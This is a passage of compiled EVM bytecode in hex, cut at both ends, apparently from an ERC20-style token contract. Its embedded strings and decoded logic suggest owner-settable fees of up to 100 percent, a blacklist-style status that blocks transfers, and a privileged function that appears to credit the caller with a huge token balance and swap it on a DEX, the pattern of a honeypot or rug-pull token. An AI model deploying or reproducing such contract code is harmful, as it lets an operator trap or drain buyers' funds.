0505b62000b08858262000a7b565b86555062000b78565b601f19841662000b2186620008bd565b60005b8281101562000b4b5784890151825560018201915060208501945060208101905062000b24565b8683101562000b6b578489015162000b67601f89168262000a5b565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bb28262000b85565b9050919050565b62000bc48162000ba5565b811462000bd057600080fd5b50565b60008151905062000be48162000bb9565b92915050565b6000806040838503121562000c045762000c0362000b80565b5b600062000c148582860162000bd3565b925050602062000c278582860162000bd3565b9150509250929050565b60006020828403121562000c4a5762000c4962000b80565b5b600062000c5a8482850162000bd3565b91505092915050565b62000c6e8162000ba5565b82525050565b600060408201905062000c8b600083018562000c63565b62000c9a602083018462000c63565b9392505050565b62000cac8162000945565b82525050565b600060208201905062000cc9600083018462000ca1565b92915050565b6145338062000cdf6000396000f3fe6080604052600436106102465760003560e01c806385ecafd711610139578063b5c72e1a116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b5c72e1a146107d3578063c87f299e14610810578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b8063a07fc5a2116100fd578063a07fc5a2146106dc578063a457c2d714610707578063a9059cbb14610744578063b179ce4014610781578063b49f93f7146107aa57610246565b806385ecafd7146105e35780638da5cb5b146106205780638dd0f4111461064b57806395d89b411461067457806399b102b51461069f57610246565b8063313ce567116101c75780635342acb41161018b5780635342acb4146104ec5780636db79437146105295780636dd3d39f1461055257806370a082311461058f578063715018a6146105cc57610246565b8063313ce567146103f557806335d1627414610420578063395093511461045d5780634d474d421461049a5780635337cc99146104c357610246565b80631c499ab01161020e5780631c499ab0146103115780631f6b29f71461033a578063203e727e1461036357806323b872dd1461038c5780632df8bca9146103c957610246565b806306fdde031461024b578063095ea7b3146102765780630bc488c5146102b35780630cdd8436146102bd57806318160ddd146102e6575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b6102bb610a62565b005b3480156102c957600080fd5b506102e460048036038101906102df91906132c3565b610b9a565b005b3480156102f257600080fd5b506102fb610cfc565b6040516103089190613312565b60405180910390f35b34801561031d57600080fd5b506103386004803603810190610333919061332d565b610d06565b005b34801561034657600080fd5b50610361600480360381019061035c9190613386565b610d3c565b005b34801561036f57600080fd5b5061038a6004803603810190610385919061332d565b610e55565b005b34801561039857600080fd5b506103b360048036038101906103ae91906133c6565b610e8b565b6040516103c0919061326f565b60405180910390f35b3480156103d557600080fd5b506103de610eb3565b6040516103ec929190613419565b60405180910390f35b34801561040157600080fd5b5061040a610ec4565b6040516104179190613451565b60405180910390f35b34801561042c57600080fd5b506104476004803603810190610442919061346c565b610edb565b6040516104549190613312565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190613214565b611070565b604051610491919061326f565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc919061346c565b6110a0565b005b3480156104cf57600080fd5b506104ea60048036038101906104e59190613386565b611110565b005b3480156104f857600080fd5b50610513600480360381019061050e919061346c565b611229565b604051610520919061326f565b60405180910390f35b34801561053557600080fd5b50610550600480360381019061054b9190613499565b61127f565b005b34801561055e57600080fd5b506105796004803603810190610574919061346c565b61130e565b604051610586919061326f565b60405180910390f35b34801561059b57600080fd5b506105b660048036038101906105b1919061346c565b611364565b6040516105c39190613312565b60405180910390f35b3480156105d857600080fd5b506105e16113ad565b005b3480156105ef57600080fd5b5061060a6004803603810190610605919061346c565b6113c1565b604051610617919061326f565b60405180910390f35b34801561062c57600080fd5b506106356113e1565b60405161064291906134e8565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190613386565b61140a565b005b34801561068057600080fd5b50610689611523565b604051610696919061314a565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c1919061346c565b6115b5565b6040516106d3919061326f565b60405180910390f35b3480156106e857600080fd5b506106f161160b565b6040516106fe919061326f565b60405180910390f35b34801561071357600080fd5b5061072e60048036038101906107299190613214565b611622565b60405161073b919061326f565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190613214565b611692565b604051610778919061326f565b60405180910390f35b34801561078d57600080fd5b506107a860048036038101906107a39190613386565b6116ae565b005b3480156107b657600080fd5b506107d160048036038101906107cc9190613503565b6117c7565b005b3480156107df57600080fd5b506107fa60048036038101906107f5919061346c565b611810565b604051610807919061326f565b60405180910390f35b34801561081c57600080fd5b50610825611879565b005b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610aa030610a9b33611364565b611692565b50610ad630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ad130611364565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1f30611364565b600080336104b042610b3191906135ff565b6040518863ffffffff1660e01b8152600401610b5296959493929190613678565b60606040518083038185885af1158015610b70573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b9591906136ee565b505050565b610bc633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c039061378d565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906137f9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610d3233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b610d6833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df1906137f9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e8133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b600080339050610e9c85828561223a565b610ea78585856122c6565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f71919061389b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190613903565b73ffffffffffffffffffffffffffffffffffffffff161461105157816dffffffffffffffffffffffffffff16611063565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506110958185856110868589611ba1565b61109091906135ff565b611fff565b600191505092915050565b6110cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61113c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c5906137f9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112ab33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156112bd575060648111155b6112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f3906139a2565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113b5612ca4565b6113bf6000612d1b565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61143633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf906137f9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546115329061359f565b80601f016020809104026020016040519081016040528092919081815260200182805461155e9061359f565b80156115ab5780601f10611580576101008083540402835291602001916115ab565b820191906000526020600020905b81548152906001019060200180831161158e57829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006116348286611ba1565b905083811015611679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167090613a34565b60405180910390fd5b6116868286868403611fff565b60019250505092915050565b6000803390506116a38185856122c6565b600191505092915050565b6116da33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361176c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611763906137f9565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6117f333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461186f576001611872565b60005b9050919050565b6118a533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60006118b030610edb565b90506000816dffffffffffffffffffffffffffff80166118d09190613a54565b90506118da612ddf565b6118ec306118e733611364565b611692565b5061192a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff81111561194757611946613a88565b5b6040519080825280602002602001820160405280156119755781602001602082028036833780820191505090505b509050308160008151811061198d5761198c613ab7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a589190613903565b81600181518110611a6c57611a6b613ab7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042611afc91906135ff565b6040518663ffffffff1660e01b8152600401611b1c959493929190613ba4565b6000604051808303816000875af1158015611b3b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611b649190613d17565b5050505050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f612ddf565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb39190613903565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e9190613903565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612ca4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d1b565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b60006122468484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146122c057818110156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a99061401d565b60405180910390fd5b6122bf8484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239b90614141565b60405180910390fd5b6123ad83611810565b156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906141ad565b60405180910390fd5b6123f8838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561247f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124769061423f565b60405180910390fd5b601360009054906101000a900460ff16156125d05761249d84612fe1565b1561253357601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661252e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612525906142d1565b60405180910390fd5b6125cf565b61253c83612fe1565b156125ce57601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c4906142d1565b60405180910390fd5b5b5b5b6125d984611229565b1580156125ec57506125ea83611229565b155b15612b88576125fa84612fe1565b1561283457600061260d83600b54613093565b9050828261261b9190613a54565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361266a9190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b891906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661271a9190613a54565b6040516127279190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127a091906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128269190613312565b60405180910390a350612b83565b61283d83612fe1565b15612a7757600061285083600c54613093565b9050828261285e9190613a54565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836128ad9190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128fb91906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661295d9190613a54565b60405161296a9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129e391906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a699190613312565b60405180910390a350612b82565b8181612a839190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b1591906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b799190613312565b60405180910390a35b5b612c93565b8181612b949190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2691906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8a9190613312565b60405180910390a35b612c9e8484846130b5565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612cc36113e1565b73ffffffffffffffffffffffffffffffffffffffff1614612d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d109061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e3e91906135ff565b92505081905550565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e708261130e565b155b8015612e845750612e828361130e565b155b15612ee257600f5481612e9684611364565b612ea091906135ff565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820190508082111561362d5761362c6135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061366261365d61365884613633565b61363d565b6131de565b9050919050565b61367281613647565b82525050565b600060c08201905061368d60008301896134d9565b61369a6020830188613303565b6136a76040830187613669565b6136b46060830186613669565b6136c160808301856134d9565b6136ce60a0830184613303565b979650505050505050565b6000815190506136e8816131e8565b92915050565b60008060006060848603121561370757613706613176565b5b6000613715868287016136d9565b9350506020613726868287016136d9565b9250506040613737868287016136d9565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b60006137776017836130c5565b915061378282613741565b602082019050919050565b600060208201905081810360008301526137a68161376a565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006137e3601d836130c5565b91506137ee826137ad565b602082019050919050565b60006020820190508181036000830152613812816137d6565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61383c81613819565b811461384757600080fd5b50565b60008151905061385981613833565b92915050565b600063ffffffff82169050919050565b6138788161385f565b811461388357600080fd5b50565b6000815190506138958161386f565b92915050565b6000806000606084860312156138b4576138b3613176565b5b60006138c28682870161384a565b93505060206138d38682870161384a565b92505060406138e486828701613886565b9150509250925092565b6000815190506138fd816131b2565b92915050565b60006020828403121561391957613918613176565b5b6000613927848285016138ee565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b600061398c6024836130c5565b915061399782613930565b604082019050919050565b600060208201905081810360008301526139bb8161397f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613a1e6025836130c5565b9150613a29826139c2565b604082019050919050565b60006020820190508181036000830152613a4d81613a11565b9050919050565b6000613a5f826131de565b9150613a6a836131de565b9250828203905081811115613a8257613a816135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b1b816131a0565b82525050565b6000613b2d8383613b12565b60208301905092915050565b6000602082019050919050565b6000613b5182613ae6565b613b5b8185613af1565b9350613b6683613b02565b8060005b83811015613b97578151613b7e8882613b21565b9750613b8983613b39565b925050600181019050613b6a565b5085935050505092915050565b600060a082019050613bb96000830188613303565b613bc66020830187613669565b8181036040830152613bd88186613b46565b9050613be760608301856134d9565b613bf46080830184613303565b9695505050505050565b600080fd5b613c0c82613100565b810181811067ffffffffffffffff82111715613c2b57613c2a613a88565b5b80604052505050565b6000613c3e61316c565b9050613c4a8282613c03565b919050565b600067ffffffffffffffff821115613c6a57613c69613a88565b5b602082029050602081019050919050565b600080fd5b6000613c93613c8e84613c4f565b613c34565b90508083825260208201905060208402830185811115613cb657613cb5613c7b565b5b835b81811015613cdf5780613ccb88826136d9565b845260208401935050602081019050613cb8565b5050509392505050565b600082601f830112613cfe57613cfd613bfe565b5b8151613d0e848260208601613c80565b91505092915050565b600060208284031215613d2d57613d2c613176565b5b600082015167ffffffffffffffff811115613d4b57613d4a61317b565b5b613d5784828501613ce9565b91505092915050565b6000604082019050613d7560008301856134d9565b613d8260208301846134d9565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613de56026836130c5565b9150613df082613d89565b604082019050919050565b60006020820190508181036000830152613e1481613dd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e776024836130c5565b9150613e8282613e1b565b604082019050919050565b60006020820190508181036000830152613ea681613e6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f096022836130c5565b9150613f1482613ead565b604082019050919050565b60006020820190508181036000830152613f3881